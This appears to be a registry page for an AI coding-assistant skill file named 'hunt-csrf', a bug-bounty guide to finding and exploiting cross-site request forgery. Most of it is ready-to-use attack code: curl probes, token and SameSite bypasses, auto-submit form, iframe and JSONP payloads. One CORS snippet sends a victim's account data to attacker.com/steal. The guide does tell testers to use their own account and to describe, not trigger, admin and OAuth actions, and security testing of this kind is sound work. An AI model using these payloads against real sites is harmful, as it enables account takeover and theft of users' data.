hunt-csrf · git:20260929.29bbcb8 · 2026-09-29 · sha256 b6dd60f61be315d8
hunt-csrf git:20260929.29bbcb8F
Immutable. This exact content never changes and is served at /api/v1/blob/b6dd60f61be315d8.
No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_c7ipgznm6wzyumnk/b6dd60f61be315d849b6715889c8966665f7ceb18d81a2516ec41c59b30d5c94.json
Then /plugin install hunt-csrf@markdownregistry-c7ipgznm6wzyumnk in Claude Code. It installs this exact version, the one graded F here, pinned to the commit it was graded at, and leaves it there.
---
name: hunt-csrf
description: CSRF — state-changing actions without CSRF tokens, SameSite bypass, subdomain CSRF, double-submit cookie, token prediction. Chains to ATO, RCE, privilege escalation.
---
# CSRF HUNTING — Advanced Guide
**Core:** Attacker triggers state-changing actions as authenticated user via cross-origin requests.
## DETECTION METHODOLOGY
```bash
# Find endpoints without CSRF token
curl -s "https://target.com/settings" | grep -iE "csrf|token|nonce|_token"
# Remove token and test
curl -X POST "https://target.com/api/change-email" -d "email=evil@test.com"
# If succeeds → CSRF confirmed
# Check cookie attributes
curl -sI "https://target.com/api/change-email" | grep -i "set-cookie"
```
## CSRF TOKEN BYPASS
### Bypass 1: Token Copy from GET to POST
```
GET /api/change-email → returns CSRF token
POST /api/change-email with same token → succeeds
```
### Bypass 2: Double-Submit Cookie
```html
<img src="https://target.com/csrf-token" onerror="
fetch('/api/change-email', {method:'POST',credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'email=evil@test.com&csrf=ATTACKER_COOKIE'})">
```
### Bypass 3: Subdomain Token Leak
```
1. Find XSS on any subdomain (blog.target.com)
2. Read CSRF token from cookie/localStorage
3. Use token to trigger CSRF on parent domain
```
## SameSite BYPASS
### Top-Level Navigation
```html
<script>window.open('https://target.com/api/change-email?email=evil@test.com');</script>
```
### Subdomain Trick
```html
<script src="https://evil.subdomain.target.com/xss.js"></script>
```
### Skewer Attack
```html
<iframe name="f" style="display:none"></iframe>
<form action="https://target.com/api/change-email" method="POST" target="f">
<input name="email" value="evil@test.com">
</form>
<script>window.open('https://target.com/'); document.forms[0].submit();</script>
```
## IMPACT — WHAT TO PROVE, AND WHERE TO STOP
Prove the missing control against **your own account** with a reversible
state change, then stop. That is the complete finding.
```
/api/change-email on your own account, no token → sufficient proof
/api/change-password on your own account → sufficient proof
/admin/api/run-command → describe, never request
/oauth/authorize forcing an app grant → describe, never trigger
```
The distinction matters: demonstrating that a token check is **absent** is
review work; performing the privileged action is the attack. Do not send
requests to admin routes, do not trigger command-execution endpoints, and do
not complete an OAuth authorization for someone else's account.
When a tokenless endpoint reaches a sensitive capability, that is a real and
serious CSRF — report it as such, describing the worst case rather than
demonstrating it. Reject at Gate 6: state-changing GETs with no meaningful
consequence, and CSRF that only affects the attacker's own session.
## HTML/JS PoC templates
Point these at your own account's harmless action.
### Auto-Submit Form
```html
<body onload="document.getElementById('f').submit()">
<form id="f" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@email.com">
</form></body>
```
### Fetch API CSRF
```javascript
fetch('/api/change-email',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({email:'attacker@email.com'})});
```
### Hidden Iframe
```html
<iframe name="f" style="display:none"></iframe>
<form action="https://target.com/api/change-email" method="POST" target="f">
<input type="hidden" name="email" value="attacker@email.com">
</form><script>document.forms[0].submit();</script>
```
### JSONP CSRF
```html
<script>function cb(d){/* trigger action */}</script>
<script src="https://target.com/api/change-email?callback=cb&email=evil@test.com"></script>
```
## CORS + CSRF COMBO
### Data Theft via CORS
```javascript
fetch('https://target.com/api/user',{credentials:'include'})
.then(r=>r.json())
.then(d=>fetch('https://attacker.com/steal?data='+JSON.stringify(d)));
```
### Token Extraction + CSRF
```javascript
fetch('https://target.com/settings',{credentials:'include'})
.then(r=>r.text())
.then(html=>{
const t=html.match(/csrf.*?value="(.*?)"/)[1];
fetch('/api/change-email',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({email:'attacker@email.com',csrf_token:t})});
});
```
### Null Origin Bypass
```html
<iframe sandbox="allow-scripts allow-forms"
src="data:text/html,<script>fetch('https://target.com/api/x',{credentials:'include'}).then(r=>r.text()).then(d=>parent.postMessage(d,'*'))</script>">
</iframe>
```
## HACKERONE CSRF BOUNTIES
| Report | Endpoint | Impact | Bounty |
|--------|----------|--------|--------|
| Email Change | /api/user/email | ATO via password reset | $7,500 |
| Password Reset | /api/user/password/reset | Account enumeration | $5,000 |
| Admin Panel | /admin/api/exec | Command execution | $25,000 |
| OAuth Auth | /oauth/authorize | Force attacker app | $15,000 |
| Webhook | /api/webhooks | Data exfiltration | $8,000 |
## TESTING CHECKLIST
- [ ] Identify all state-changing endpoints (POST, PUT, DELETE, PATCH)
- [ ] Test token removal, empty token, wrong token, cross-session token
- [ ] Check SameSite cookie attributes
- [ ] Test SameSite=Lax bypass via top-level GET navigation
- [ ] Test subdomain CSRF via XSS on any subdomain
- [ ] Check CORS configuration (Allow-Origin, Allow-Credentials)
- [ ] Test JSONP endpoints that accept callbacks
- [ ] Test OAuth flow for CSRF on authorization endpoint
- [ ] Test webhook/invitation endpoints for CSRF
- [ ] Chain CSRF with open redirect for OAuth code theft
- [ ] Check admin endpoints for CSRF protection